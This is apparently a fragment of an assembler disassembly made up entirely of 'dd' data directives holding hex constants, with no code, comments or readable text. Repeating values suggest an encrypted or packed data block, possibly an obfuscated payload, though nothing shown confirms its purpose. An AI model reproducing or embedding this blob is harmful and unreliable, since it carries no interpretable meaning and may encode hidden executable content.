		dd 0E0B8B2D3h, 8819771Eh, 6E788D22h, 722E8BE9h,	17DCCB26h
		dd 1C202A12h, 99454BF5h, 0E09B021Eh, 9F84CD35h,	0E6F9769h
		dd 23EE0252h, 0F1A29769h, 0BA653F26h, 949D77E5h, 109B7029h
		dd 68E31794h, 92E2208Bh, 0EF681769h, 95E8061Bh,	6724A2F8h
		dd 0E7513ABDh, 0A1F8BD63h, 2ADBC12Dh, 78C98271h, 0A0CF157Fh
		dd 7D0C80EAh, 0EB671480h, 3AC562AFh, 0BB01E5C6h, 142F1EC2h
		dd 0B2F40B0Ah, 6CB7E58h, 47E5F393h, 3AC565DCh, 8D502129h
		dd 0DF08BB68h, 0A80221E1h, 14520EF4h, 0BBCB2407h, 247DA586h
		dd 680EE266h, 0C30F1AD6h, 54465A40h, 0B8931885h, 0E4E3D8BFh
		dd 0E558705Ch, 0AE16AB36h, 0F026A284h, 9DD24701h, 5609F61Dh
		dd 7852B783h, 0B18BEF4Bh, 0DC2EB1C9h, 42700D8Eh, 0C495F505h
		dd 0D3C46FC9h, 0E7BC23AFh, 0CDD279EBh, 4BE51892h, 864FE6D0h
		dd 921A73D7h, 0C1791769h, 1F53DE60h, 0FE09982Ah, 0B253E7F1h
		dd 0EB0C595Dh, 0D5183260h, 2844CB53h, 0D9DE181Fh, 0DD4B835h
		dd 219E37EAh, 0F3CB38A3h, 0E0021C0Dh, 5E170DC5h, 0F26308DDh
		dd 863F0A92h, 1CEF843Ah, 643E16DFh, 798633DBh, 6EB827BEh
		dd 87D8EEAEh, 2DFF5541h, 0BCD26E0Ch, 0A9DBE98Dh, 408F7F72h
		dd 0BAE7A292h, 456367CDh, 0A1FDEFEDh, 0F132F8B1h, 17C39789h
		dd 10978A12h, 9152E454h, 4690D5A6h, 0E0A4C4CAh,	8C833319h
		dd 0EBDA67C4h, 946B0716h, 0C2B474DCh, 8E08E256h, 0B1F23C3Fh
		dd 4904DDC1h, 16E652F4h, 5AA78212h, 17C98235h, 0E9525D9Bh
		dd 336CA30Dh, 0AE4D718Eh, 17C98222h, 0EF0C1989h, 0EF6CA30Dh
		dd 1F8A2C5h, 2AC98683h,	0DEF8A30Dh, 18763EB8h, 0E36FA2B3h
		dd 17C98223h, 0D08B0F06h, 0CE0D5289h, 17C98A8Bh, 0B594A2BBh
		dd 3A1AEECAh, 0D055056h, 177746F4h, 0F2528212h,	0D3D10F23h
		dd 0C328597Eh, 0A34C0370h, 0AC98277h, 0F4CBC277h, 8E956A3Ch
		dd 0D96BCF3Eh, 0F21D5FB3h, 6D73FFEAh, 6C289820h, 0F60F4D77h
		dd 1140668Eh, 1145751Eh, 85E1ADCAh, 0B6DC70BFh,	0C5C81131h
		dd 0D3B8453Ch, 58BDAE93h, 77EF222Dh, 0C47C79C3h, 9999C081h
		dd 3B0D1A97h, 599F7DF8h, 0F61BB01h, 7108EAB7h, 0DD9E14DEh
		dd 0B1C7B038h, 72B726E9h, 6F3455D5h, 0CB1E024h,	0CA984FBFh
		dd 9AE41B64h, 17C9E82Ah, 82CEA612h, 0F163E974h,	0A14A0C5Bh
		dd 9D8811B4h, 0FD64DE97h, 0BBC98274h, 8ACA1F38h, 3382D2F9h
		dd 144208CCh, 69E3F712h, 0C9C98274h, 0B81FAFF1h, 17EADFA9h
		dd 0F2A6F712h, 0F4140BB1h, 0FCA1E07Ah, 96FBC0B8h, 3382AE29h
		dd 45064337h, 34FBE223h, 6908EAD4h, 0C9C98274h,	70B675F1h
		dd 0B660496h, 9F35ED60h, 0D0F22F3Ch, 962878A3h,	0CEA98E18h
		dd 82BCD5A7h, 17D21329h, 81310C12h, 8D0DBF7Ch, 0EDD89AF9h
		dd 0B7D09A6h, 81235C45h, 545CE50Ch, 786FA00Dh, 0C075D7E9h
		dd 17C9D65Bh, 0C6918F12h, 2B898754h, 683524CDh,	0E07723A5h
		dd 0C075D315h, 0D36904ACh, 0B2C20639h, 17EF0D12h, 0AC5C8212h
		dd 0AA3D588Fh, 17D21028h, 0FE4312h, 0D39CD1Bh, 0F70EE12Ch
		dd 7BA13F16h, 5BB137FDh, 527D7088h, 3B917E0Ah, 9D1626E4h
		dd 87D47DE8h, 55C22F0h,	0F6832509h, 0EE21CE6Dh,	0FB4E5D3Ch
		dd 78541FF1h, 79B3BA95h, 0FB4C4C8Bh, 7B1F4145h,	79832509h
		dd 4C34B050h, 2AF222F0h, 786B0C14h, 0E39024EBh,	79832048h
		dd 1376AB29h, 0E4EF2F96h, 1A6566AEh, 7983235Ch,	0C24FD182h
		dd 0DC98AF8h, 548613D2h, 0AB1EC0Eh, 0A8BDD21h, 5A99120Ah
		dd 0C3D3870Eh, 5AB8D7D2h, 3143780Eh, 1E42CF9Fh,	35CBA5E5h
		dd 539CB118h, 0AFF91A9Dh, 0A893AEE0h, 0DA7B27F4h, 8A1494ACh
		dd 0C7C1AABDh, 0C11F00Bh, 0BA6436ACh, 0CB68D626h, 0B4641AC2h
		dd 9465484Fh, 8342A450h, 2FC6D75Dh, 53867679h, 0AE0B9B9Eh
		dd 0CB121AAEh, 0F372AC9Ah, 2E9ACE97h, 2C07A512h, 0BC8A9EB8h
		dd 532E2E9Ah, 468B32FEh, 2FF91AAFh, 5B8468C0h, 0B168420Fh
		dd 1BA10B9Eh, 1C133C14h, 24D09BCh, 8E713C14h, 0B8C98A8Ch
		dd 751A1DBCh, 0AFF91100h, 90D06FAEh, 97FFA7A6h,	0AFF91987h
		dd 0BF599F6Ah, 0D491EF74h, 0A28941B4h, 946E5687h, 0E4874323h
		dd 8B433B94h, 0CCF524E3h, 0AFA63B77h
		dd 0EDA079F4h, 59C89333h, 0B894003h, 0F3986583h, 0D926DB12h
		dd 2E753716h, 0F075EF86h, 9C89333h, 7D884F36h, 0E30DAEE4h
		dd 0FAB3818Fh, 0E8C764AEh, 0DF241B60h, 0DF042449h, 503A8336h
		dd 0A19AE33h, 0FAC89333h, 4261CB5Ah, 0DC3710F7h, 0C74DB880h
		dd 0E4710A88h, 0A6C55E0Bh, 0F6D993ECh, 0DF362A55h, 0D2F45A7Ch
		dd 935D6F10h, 0F1DAD08Dh, 8D6AE53Eh, 0DFEA8C77h, 0F1D7C6D4h
		dd 685DCEC2h, 0B27BB251h, 0F45861D4h, 847D85C5h, 0FA4E22E3h
		dd 0EF0E648Ah, 0FFC32DF7h, 0DDF7C34Bh, 0AC98ED4Eh, 6E7743F9h
		dd 4C1C6EB5h, 0F6009045h, 5DCA8283h, 983EAF01h,	16BA4DAEh
		dd 283B6AB1h, 0F45008B1h, 5DCAFFC2h, 0DB6D29B6h, 0A65447F3h
		dd 2703FABDh, 54D244C6h, 5807C68Ah, 3EEAA608h, 50107D71h
		dd 0D146C5A0h, 4B367E05h, 0B999E652h, 0D530092Eh, 8218B0A0h
		dd 0E21F4556h, 2A03E182h, 0D16E0D94h, 74668BCBh, 0DA20CC82h
		dd 1F4924BFh, 4D8E7E01h, 0C61CBFC2h, 9C168EEBh,	0E9CF7065h
		dd 2AF3AD06h, 47410269h, 25EEF9AEh, 0DA6E7ED8h,	5607E5C4h
		dd 5EE6C46Ah, 0DACC54C7h, 48A08F29h, 0B964B6D8h, 0B0EB326h
		dd 8387585Bh, 0B964AE03h, 0D2DF661Eh, 0CF5F33ADh, 4164AE02h
		dd 0AC5947EDh, 6715653Fh, 7E94AE03h, 0F57E7FC2h, 0D40B67EBh
		dd 0D173B578h, 74666C05h, 0D18B7288h, 0C88D6FFAh, 0F456DAC4h
		dd 0D16F5BE9h, 0EBF9E705h, 0F8F136D4h, 0D1511885h, 79DC6C05h
		dd 8D47EC39h, 0A79A8082h, 0DCD2F8D9h, 0AFC59CBCh, 1C33949Ch
		dd 4F847B9Dh, 2847A3Bh,	0C4E9378h, 0D98E15F5h, 3C95E588h
		dd 60EF009Dh, 0ACE1CE1Bh, 7B16483Fh, 0C43E7B9Dh, 0AFC36F7Bh
		dd 29D5307Ah, 5CCFC6CFh, 660F841Bh, 0F28D6492h,	0F5E1D2F5h
		dd 8D602A6Bh, 49706220h, 0DDA73009h, 0FEE1CE9Ch, 0A48BC4C8h
		dd 0F0A00B5h, 0F2501344h, 7EB0DD0Ch, 0C4DF0EF0h, 0AF146E5Ch
		dd 7BC42A0Fh, 3716988h,	75B3B69Dh, 0F39E7B9Dh, 28E6CB2h
		dd 0E931569Dh, 31E84BD8h, 0AB903B68h, 0FB847B9Ch, 0D1040FF3h
		dd 4427212Dh, 87AF7B9Dh, 6C89356h, 2CB17E9Ah, 0AFC65536h
		dd 0E0284BE4h, 801F19A3h, 0B023139Ah, 0F21627CCh, 6DC55423h
		dd 88B23B14h, 6CADB51h,	2CB17E9Ah, 0AFC6540Bh, 48175493h
		dd 0DD44513Ch, 2847CE1h, 3716935h, 761BB89Dh, 0BF5960EBh
		dd 4D69199Bh, 1FEA2052h, 0EDD0949Eh, 75847B9Dh,	0D625B5B2h
		dd 0DC2AFB2Dh, 86F9693Ah, 3C95E2B9h, 28E7735h, 35FCBB9Dh
		dd 50B3D7AFh, 1769EC2Fh, 0BD7CDFF7h, 0D650D0D3h, 636B812Dh
		dd 86847EBDh, 88A989AAh, 0B978CEAh, 668097BDh, 294E8593h
		dd 2847920h, 45BBC11Eh,	0C6330EF0h, 7838898h, 81CC8967h
		dd 0C1E1CDBDh, 35D460h,	0C5B4899Fh, 0C640D3E4h,	0B47CD98h
		dd 2CA01FF5h, 2350228Ah, 2E344B46h, 6D4296D4h, 67E1CE9Fh
		dd 0F9CAD58Bh, 0AFF9F580h, 0BB149559h, 0F6B23B68h, 0D694B36Ah
		dd 0F490CB2Dh, 0D9BDBEh, 0FB627BBBh, 8 dup(0F534BDBEh)
		dd 0A8A9BDBEh, 8D34BC1Dh, 9AFFA1DFh, 0AA771725h, 3147604Dh
		dd 424642E2h, 57AB06E0h, 0B8B31793h, 14C9F9B1h,	0E38AE1BCh
		dd 8DC28286h, 93D8C4F7h, 0BB2417B5h, 0E70DFFBFh, 9290C4CCh
		dd 20D57EE8h, 0D8AB5B11h, 18D75FFAh, 7D2D9324h,	38B81F4Bh
		dd 74F03D9Eh, 276D9C1Ch, 0CD1D6C56h, 93865A68h,	4FC960CDh
		dd 25841655h, 0A599ADC3h, 0F95B8A8Dh, 3B26B5CCh, 0C2B6998h
		dd 0EB95CCFh, 1EAE3D4Bh, 7A29A6B0h, 619FCF2Ch, 0C6555AFFh
		dd 0F0A32D11h, 20F2F249h, 0E44C0969h, 376855A2h, 6F34BDBDh
		dd 0F0135590h, 0C3352017h, 8E2FE832h, 0CA5F8D7Dh, 30C0DCE3h
		dd 3F3B4010h, 0BE929753h, 2D0BDBDh, 63C7AFBh, 0E480695Fh
		dd 0F7A8A694h, 208DFB3Ch, 2110F1A1h, 0F5BB77EEh, 4C1B5CF4h
		dd 3A831DAEh, 91A2685h,	69347D7Ch, 6DE7615Fh, 7BB741E3h
		dd 0F508E93Ch, 0E336BDBEh, 978F2C09h, 0AFEDD8E6h, 815F5BE4h
		dd 5ABBC989h, 0DB62E3F4h, 7EDA3724h, 5A989165h,	9D596BA0h
		dd 762A2AF2h, 0E61A2884h, 0C99BB7EBh, 80FAB9F5h, 2ED1AF54h
		dd 0E264508h, 0B78D05FDh, 0A03FA86Ah, 75863CFBh, 48181780h
		dd 0EFC2D398h, 0BAADCD72h, 1A67074Ch, 9CC7EC54h, 2C2B7825h
		dd 1F23A480h, 0FE033D93h, 0D2F9E8D8h, 0B6CC1726h, 29A19D86h
		dd 4DBBA8C9h, 0C38A59CEh, 0BD478656h, 1BE146E8h, 6C1D2BF3h
		dd 29734F49h, 0C75AE174h, 5E7363F3h, 0EBE4ED5Ah, 493C6C2h
		dd 532132C9h, 0C56B53DEh, 4E212C53h, 0CEBA417Dh, 0AB49CD11h
		dd 0E42CAC15h, 1EAACA86h, 0ACF99CD7h, 70800D2Dh, 0A46BA372h
		dd 0F3AAE288h, 0A6FFFE80h, 872ECA82h, 15E1B914h, 9C4779F4h
		dd 0B8029A8Ah, 3BE51466h, 624F75AAh, 9989C67Eh,	0CD0F37DAh
		dd 0EFBA0951h, 0F4AAA6D2h, 23A406BEh, 0F5002B8h, 3E125A6Ch
		dd 0C4C6C69Fh, 5629F933h, 70E654D5h, 6305B90Fh,	3E12F087h
		dd 208DF94Bh, 17FAE128h, 0EE5F8287h, 0BBFEA20Ah, 0DAD6AAB9h
		dd 0D3512C5h, 0F9E92CFFh, 0EA81FFh, 663B2630h, 0F534BF4Fh
		dd 0DE27992Dh, 12070A49h, 0AFFF64ECh, 23C08EDEh, 0EC70403Eh
		dd 9290C015h, 0F60FB11Dh, 53446D30h, 7C833A68h,	3F103ADEh
		dd 0F53354FCh, 76D8867Ah, 0F560E7Fh, 0EE71BB02h, 4850B44Dh
		dd 633834F8h, 212DB687h, 32B6C47Bh, 18E262BAh, 236A6F45h
		dd 7FDA5630h, 0E74BE2B4h, 45DDEA0Fh, 0E80AAA1h,	9CAA7120h
		dd 2A74CD7Eh, 2C03952Dh, 0D824C626h, 65602E27h,	7585F104h
		dd 87EAD652h, 0E88665D7h, 70814A45h, 8A0E6FA0h,	89D0F87h
		dd 22C3428Eh, 0FF2385E0h, 13A47CADh, 88E4C0A5h,	0AC718512h
		dd 74F08D3Ch, 6EF70F27h, 4271BB20h, 8034BDBDh, 0C4BDB540h
		dd 0BCD26167h, 0E83ED25Ch, 0C3381F62h, 63085408h, 0EE166F87h
		dd 357A0F2Bh, 58CF256Ch, 99303DFFh, 84C06B1Bh, 4BD526ACh
		dd 488146AAh, 640DA3FFh, 1CDD5D91h, 9104F8A1h, 0E8D53DA5h
		dd 5E921F62h, 6D6BE306h, 0A4C97B2Eh, 8D9A89FFh,	0BE254192h
		dd 7A4D1716h, 0A418F9FEh, 6A5F2F55h, 2B4D3E1Bh,	628FA2A5h
		dd 0D08523F9h, 0B805C2h, 37FB835Dh, 92E6D0F4h, 0F643257Bh
		dd 91D158F5h, 3FB19D7Bh, 0BFB73A2Fh, 0D2C8242Ah, 39BEC0BDh
		dd 29FB8353h, 3898D87Ah, 596DBA7Fh, 9FA381D5h, 0CBCFF57h
		dd 0FD643B3Eh, 65F9E9A7h, 0AC0460F0h, 61CA8292h, 25EAF5F1h
		dd 5F1D1A20h, 63B3F2C5h, 0D4C969A2h, 81675EEEh,	0B3846151h
		dd 600792E8h, 0BB289C87h, 0B9F91AE1h, 34404237h, 0F79C5B44h
		dd 28702C09h, 2402C8A4h, 0F11C91CBh, 0D55D44CCh, 95B2EBE0h
		dd 53BCB4C7h, 6D34BC6Bh, 0C43C68F3h, 6EEF1CAAh,	95E2E630h
		dd 9C4864Ah, 0A11983F0h, 0EA9F6EB4h, 0EE3E8815h, 9290C015h
		dd 71530FC1h, 723F22B4h, 8CF34752h, 0DE936E75h,	0F8299A85h
		dd 31D58F03h, 7E3EC50Fh, 0CDDDCAF7h, 0FAC74D62h, 0C89CBDBEh
		dd 60C3CE0Dh, 6305B902h, 0DDD91D87h, 3466AF35h,	7E3EC50Fh
		dd 1D8AE3DBh, 794F17FEh, 0ECBD8DE4h, 7BF262BAh,	0FFE9BB6Eh
		dd 17447C4Ch, 0E1854871h, 0AD24681Ah, 0F4ECA466h, 0ED309FFEh
		dd 9302A928h, 0F85418Bh, 3CF1F877h, 0A20E42ADh,	0E7F15185h
		dd 3CA3CC38h, 7AEABF89h, 16E01016h, 99FA58D2h, 0A24840DAh
		dd 0ADE926A8h, 0F53741C8h, 794F143Bh, 914166E4h, 0C022883h
		dd 0F03E3D93h, 7A0DBD72h, 0C4A8DD6Dh, 6309EA8Eh, 0D8969307h
		dd 0BB60E56Ch, 324DA62h, 89E2EC9Ch, 0BF6A02D2h,	0B6BB34BBh
		dd 3928E22Bh, 5E68C4BFh, 6F5277FFh
		dd 0FB1DCCA6h, 6F967C6Ch, 92065BF9h, 0E61CBA3Eh, 667BD5B9h
		dd 0C7584D5Bh, 0FA4580CAh, 0B523BCF0h, 0F11C9062h, 78645999h
		dd 58401E4Eh, 7CA9BDBDh, 921CE28Ah, 0DB0C1F3h, 77693F77h
		dd 122ED2Ch, 7D71A16Dh,	0BAE35389h, 9FFB75B6h, 804513CBh
		dd 691A1444h, 7D74F0FCh, 0EE0153C7h, 200F6CDDh,	0BE351197h
		dd 0EE3E887Bh, 83C2FA63h, 18116151h, 9BFD2B75h,	0F4AAB7B7h
		dd 9218C5BEh, 411CBA3Eh, 0F46A522h, 1135F337h, 895FED12h
		dd 817C55DEh, 4016151h,	0E1351536h, 8161D0C3h, 0BECF6151h
		dd 0F0964B29h, 313E384Fh, 0A46BA4A9h, 6A91492Fh, 20726045h
		dd 0EE755EC2h, 9D24DA62h, 0E6C8D857h, 91885A20h, 57203BC8h
		dd 31D682Ah, 64EC8B82h,	0CA89E901h, 0DD7EAB44h,	4B4DB5E5h
		dd 25A16941h, 92A06887h, 616B0BF3h, 696620h, 24CE41E0h
		dd 0F798E5ABh, 9AF54950h, 0B84873B2h, 3C36C3E4h, 1FDDC18Fh
		dd 77AC71F5h, 76A31ED5h, 482D777Fh, 1C716F77h, 0B751E884h
		dd 0EFBA09FDh, 0F4AAA4D2h, 23A406BEh, 8179BA3Eh, 4CE06FF2h
		dd 0F5C5F60Ah, 6305B90Fh, 0EE953187h, 0EA02E8F1h, 71CC8A62h
		dd 482D777Fh, 1C716F77h, 60A16384h, 0A46BA372h,	14A3B68Dh
		dd 0A48B4073h, 776BCCE3h, 0ECD943E3h, 0E0B7A1BBh, 94E53688h
		dd 0AD34BDBDh, 0D4C96806h, 81675EEEh, 0F4846151h, 0A485906Fh
		dd 1CD91886h, 9D5BA5EBh, 0BA30C488h, 27B8E769h,	0C30B4A94h
		dd 0D794A716h, 99FC75E6h, 0DA8361FEh, 2B1E13AAh, 63026007h
		dd 3A4A8987h, 78001639h, 22BBA38h, 60BD0A03h, 2DF8DD87h
		dd 794F1321h, 0ECBD8DE4h, 7BF262BAh, 0BCE9BB6Eh, 0C0F4A58Ch
		dd 0BF76CB77h, 35EEC14h, 425F9359h, 79A79F6Ch, 9F3E7914h
		dd 771B4625h, 426D70B1h, 0B8D64D53h, 7E285EDAh,	0FEC96804h
		dd 19B64315h, 0E45A6562h, 0A11A2DB0h, 5F97D22Dh, 0FA565837h
		dd 6339D0F1h, 7E432387h, 208DFAA7h, 8D2ED8A6h, 1CD8E332h
		dd 208DFCEBh, 0E9D1C488h, 0E264237h, 0B899DEFDh, 3CD0B49Ah
		dd 0E88E423Eh, 0BF8C7040h, 2ACB7329h, 6688044Fh, 0F534A088h
		dd 0B21E2F85h, 208DFDF1h, 0FAEA6D95h, 1E101743h, 0EF807A0Fh
		dd 9290C015h, 0B9090FC1h, 1428D30Bh, 8910EE53h,	0BBE01541h
		dd 0DAD6AAB9h, 977612C5h, 45BAA16Dh, 0AC7B7D4Ah, 885A876Fh
		dd 0F48619EBh, 0C975BDBEh, 60C3CE0Dh, 6305B902h, 32381D87h
		dd 208DF984h, 50B8CA0Bh, 3466AEF5h, 7E3EC50Fh, 7088E3DBh
		dd 9A62D465h, 0DD2CAE22h, 7A00F47Ch, 3BE51464h,	94712DDDh
		dd 3EFE8B7Ch, 0F9D2FD6Dh, 83D65282h, 71766151h,	0B35D9065h
		dd 8AC97BB2h, 1C6D6E2Eh, 3018BFh, 2666BF7Dh, 73DF6328h
		dd 2D882EE6h, 0B41FDC45h, 0F6E7AFAh, 303CAC9Eh,	0D67DCF95h
		dd 7AD3B9Fh, 30B948EBh,	7A336306h, 340E7E09h, 1E2122A8h
		dd 10E7AFE0h, 99A8B591h, 0A037296Ch, 1482490Fh,	0ABFBFC81h
		dd 0AEC580EEh, 4183B1C8h, 115A2A69h, 0D2DAD61Ch, 74A3FABFh
		dd 828279D9h, 6126D3DEh, 14DA4511h, 0FA40CBBDh,	9214D3BEh
		dd 0A447683Bh, 7E56150h, 0A7FEA9B0h, 77946150h,	0C960E281h
		dd 2510E47Ch, 0B8AF11CEh, 1053475h, 2A29AB44h, 964B0076h
		dd 94843C73h, 0E9857604h, 80DCD8DAh, 2201C554h,	0F4AAA11Eh
		dd 628F1DCBh, 0FA8103B2h, 158F1DCBh, 3D1ED69Ch,	0F53743E6h
		dd 0F5172DF3h, 0EFBBBDBEh, 263913F9h, 0D09DA067h, 0B55139EEh
		dd 19DEBB90h, 9F1C1F93h, 9587E489h, 0B4172835h,	9941480Ah
		dd 390390A9h, 508E583Dh, 0ED747904h, 8489865Ah,	2EEA260Fh
		dd 979DCA7Fh, 0F5396822h, 70E7F2BEh, 0C7A95Fh, 0F5396821h
		dd 0D4323ABEh, 4E4145CBh, 3391903Ch, 0C014E7BDh, 439F98BAh
		dd 59926AA4h, 0D04FE52Eh, 0D735B98Dh, 0EB83FE93h, 0CB6955FEh
		dd 0B7C2EDC8h, 0F8DA41A8h, 8F70A3D8h, 5D52BAD3h, 7D2FF638h
		dd 26FB8DA9h, 0E8872EBDh, 27FA0828h, 788329D9h,	1642A56Bh
		dd 5534BE1Bh, 794635BCh, 5777CCA8h, 5277CAA6h, 0D034BC6Bh
		dd 93E12AA1h, 0B0708F5Ch, 8C79B48Dh, 4DAE0C99h,	4BC2B174h
		dd 0F5D4D6C3h, 74D4BDBEh, 0E6037DF5h, 376F6CC6h, 0FAF76BF9h
		dd 48FEBDBEh, 3D593636h, 3D1A5356h, 547FA307h, 5BAB85E9h
		dd 7CC360BDh, 0C225D65Dh, 0F534BE1Bh, 0A35C9DA0h, 0F534BC1Dh
		dd 4EDE889Eh, 165A5D9Ch, 1195A874h, 0F534BFFDh,	311A2E8h
		dd 2F9B08DEh, 31567E2Ah, 0C25E7155h, 0F8610FD2h, 0CA57BDBEh
		dd 0F5375E70h, 6C5D17BEh, 0C25E6508h, 0EE7B0256h, 0F534BC74h
		dd 0D36CC00Dh, 0F83B123h, 0C25E65BEh, 0A0509DADh, 0F534BC1Dh
		dd 1A11A49Eh, 1119BD9Ch, 1195A874h, 0F534BFFDh,	35140CA4h
		dd 6FB07718h, 0A7DC252Fh, 4F34BE1Ah, 4D9F4975h,	5C917DFDh
		dd 0A1F727A3h, 887726D8h, 53109EBCh, 0F183276Bh, 82CF0DC4h
		dd 0CE2C01C9h, 0ECE1665Eh, 0B58DA41Dh, 0E216CD0Ch, 305FBC03h
		dd 89AB0C9Dh, 0DE914795h, 898F53AAh, 27B496D2h,	0E7A67DD1h
		dd 0AED1933Fh, 300B26C2h, 0B36FDD22h, 81EF8FC4h, 5236DBF3h
		dd 335DBEE6h, 4F6FE107h, 71EFF00Eh, 8736DB54h, 0DFFE0A64h
		dd 0D136DB51h, 5F07F7CDh, 0AEED06D6h, 2AED075Fh, 9E36DC83h
		dd 2CCED808h, 0BFD818A0h, 766F2034h, 765A34B1h,	0AE16DB54h
		dd 0AF4597F6h, 0C75C24E4h, 765D2438h, 0E60DDB54h, 5F5DA0F7h
		dd 0C98C7B27h, 0E9374BB9h, 766F2034h, 765A302Fh, 4416DB54h
		dd 3EE971F7h, 0C75C237Ch, 764B2438h, 0EC9BDB54h, 768A51F7h
		dd 0D384A38Eh, 28EFC4A5h, 0BF925FB5h, 6156BD07h, 4B3A85Dh
		dd 93B20872h, 0B1F453A6h, 5DDC04B0h, 9C3CC041h,	6078D417h
		dd 7A54F15Fh, 0DF8BF41Dh, 0DA14F4E0h, 0AD6707C4h, 94B0E6F2h
		dd 67BE28C7h, 0C72CB4ADh, 0BDCC4F59h, 213CD82h,	4127CC86h
		dd 0CA88ECE0h, 971D3F37h, 3BB78863h, 0E72CB21Ch, 0C134DE9Bh
		dd 6BEFC555h, 26BE5FD5h, 3655B59h, 29818A7Ch, 0AAA1EB5Ch
		dd 23996BC3h, 9B0793D8h, 8B5E9D1h, 172FE6A4h, 0FA72C032h
		dd 8BF1C50Ch, 14AB0054h, 1C3A888Ch, 57BAB4A1h, 1FE1D3C1h
		dd 0DA6D8974h, 72F49A73h, 8B5E9F5h, 0D113AA4h, 9DBCE4Fh
		dd 0CA888C17h, 0A9DA0859h, 0CA8691BFh, 7D4F853Dh, 1FCD372Bh
		dd 0F8DA082Ah, 0C0A1DE5Dh, 9E7E1759h, 0C3F55243h, 9 dup(0C3F55059h)
		dd 0FB325059h, 33F55439h, 0CF1B7BB8h, 7ACED6ACh, 0FD643791h
		dd 0B6397C21h, 14D1C7E1h, 8682C574h, 55EFBC41h,	0FDDFA3ACh
		dd 95804287h, 62668110h, 0C90FE032h, 0B6BF4536h, 3C62034Eh
		dd 0EBF939E3h, 0C01A901Ah, 458C0F7Ch, 331058D6h, 8510B574h
		dd 0B089C984h, 6E42FAEAh, 0F0F2F2E4h, 3D479EC4h, 180BD1FFh
		dd 0F095C8B0h, 2EAB5ADh, 0A0701C3h, 0EAAA979Ah,	66DE70FCh
		dd 532D7D4Ah, 0C1572B17h, 62230137h, 0FAFD6885h, 75FD572Eh
		dd 0FAFB5AE1h, 51A8DB03h, 2D8C572Fh, 0B74ACF17h, 95452F6Dh
		dd 181B1474h, 84C081B0h, 258EFA40h, 2AC7E252h, 0D4DC4C37h
		dd 0EE1E99E0h, 0B2F555FDh, 4FAE9BF0h, 0DAEBA057h, 92A0CEA5h
		dd 0E60FD79h, 8D2B40BFh, 4A6B300Ah, 0C3F04483h,	0B6B05059h
		dd 0EB8D2CD2h, 3AD4305Dh, 41736206h, 1B7FC164h,	0D624E7E7h
		dd 304B0B74h, 4C645A72h, 0DE20A872h, 67353A5Fh,	0ED0CECC5h
		dd 0F82378Dh, 44B39B18h, 0D0D41EEFh, 0E2C179BFh, 0FAFD0F99h
		dd 8B25A60Bh, 69B0FB08h, 42DA3080h, 0FBA80A9Ch,	5ECEF7EDh
		dd 0FCCC276Fh, 0A4A76B9Fh, 715467BAh, 41F1C749h, 41E87FA7h
		dd 0F2F33164h, 7D6E2EA3h
		dd 0FAFA3136h, 0D025E587h, 2290F7E5h, 0BCDDEED1h, 0C46BC0BEh
		dd 4DDEECE8h, 5EC7EB31h, 0CE6FFA59h, 9CBA90C0h,	984A02D1h
		dd 7012997Dh, 8AA81C6Dh, 1950D66Fh, 0E704E988h,	936D5F92h
		dd 2ADF437Fh, 0D1DB41A3h, 0F109CFD9h, 2EC9BBCCh, 0C303EC48h
		dd 71529759h, 167FD9BBh, 0A353010Ch, 7BA24877h,	2775AC2Eh
		dd 19971ACAh, 0CABAADBFh, 44910D8Dh, 10C7CC8Bh,	0E7EC0461h
		dd 2F2AB1BAh, 2BF6964Ah, 9AF555FDh, 0DB9579F4h,	248A48ACh
		dd 66A262BEh, 7A7D71BDh, 0FB59D291h, 5E661DD3h,	4D8E3F83h
		dd 10CD97Ah, 0B7C85A86h, 0E23FADD3h, 31BAB2F5h,	0ED6F0524h
		dd 749E8FA2h, 62E7B6BDh, 0BCCA61A4h, 6EBAB331h,	0BF302B25h
		dd 899CA476h, 366DA91Bh, 19AA9FCFh, 0A9497C04h,	0C3F55210h
		dd 0BE43AA53h, 0C8929D10h, 0E70CC255h, 0CE353AEDh, 4BADF11Ch
		dd 8E6ADAF2h, 8D4BB78h,	97D82ABFh, 93BAB331h, 4C099E58h
		dd 6452439Bh, 31C24AE2h, 80F82483h, 3AE731h, 7EC4A16Ch
		dd 0D8153443h, 0CFE6BC27h, 15496E0h, 50BB920Ch,	0F8EADB0Bh
		dd 27FB1F9Fh, 0B21714FFh, 0FD743C9Ch, 2A573098h, 0DE8661D5h
		dd 79F99F73h, 7E3D3443h, 9B75C856h, 0C938438Eh,	0BCCA58BAh
		dd 6F2E7830h, 14CAD5EAh, 57C56E8Bh, 12114D55h, 44097E07h
		dd 4B637DF3h, 8D4FC5A5h, 0C777AB66h, 1CCF1040h,	0BE853124h
		dd 0CFF3BF7h, 2985DFB0h, 23FD4C74h, 0C3F5574Ch,	4BF41BE1h
		dd 0DFFC0709h, 0EAB22E92h, 8165F7E9h, 0DB896B42h, 0C92C02B4h
		dd 0AF666DEAh, 788E0DCAh, 0EC36F0E0h, 70EBBED4h, 0C91678B0h
		dd 2F2C6505h, 549C81E7h, 896AE1FEh, 2D570FBAh, 0B34A772h
		dd 0F237A9A1h, 892D60C3h, 0F7407873h, 0A27C65DDh, 329E8A0Ah
		dd 0FF183BF7h, 0BAF5535Bh, 0B639D97Dh, 82391E4h, 830ACC3Fh
		dd 8D4A2BCh, 6FB8BA3Fh,	8A8F0FEAh, 7134546Eh, 0E174E7FEh
		dd 0EC400043h, 0F4EDE547h, 0DB4CB290h, 0CA0308D5h, 532DDE3Ch
		dd 0D09C3510h, 0E8E0B2C3h, 0C302103Ch, 6087A959h, 6D548C42h
		dd 0AB675250h, 0D80AF43Eh, 842CB85Ch, 12D10740h, 926756ACh
		dd 4F6DBD9Dh, 8D8529B3h, 6B5009EAh, 0F3167DADh,	0B91D12CBh
		dd 0E1037382h, 9AEE3321h, 1F78DE47h, 8E3AA70Dh,	3C73FAC9h
		dd 276FFAB1h, 380592BDh, 5E2D02A1h, 73FD40D4h, 74564316h
		dd 0C97B3822h, 8B71425Ch, 58DA5D83h, 9BFDA747h,	0A07097BFh
		dd 2D03671Bh, 3FC7F5Fh,	20120EC1h, 9A16D7C9h, 47A8A454h
		dd 81AC9F1h, 5F51A71Eh,	0BF9765D0h, 5B982DC9h, 17654C04h
		dd 4B05C8DDh, 75E809h, 0F92F3411h, 0AB131ADDh, 0CEB649C7h
		dd 395F8888h, 0A245DDB5h, 0A3206A87h, 0EE1CBBFBh, 0FFECABEFh
		dd 3675319Ch, 0E78A9692h, 0FE8D95D8h, 34C44DE7h, 25FC60FEh
		dd 56B48746h, 4E42101Dh, 0D629FFh, 454DE2FDh, 9A9CD461h
		dd 2CFA132Ah, 0B26BA9B0h, 7AB602CBh, 451EB9FFh,	6316B764h
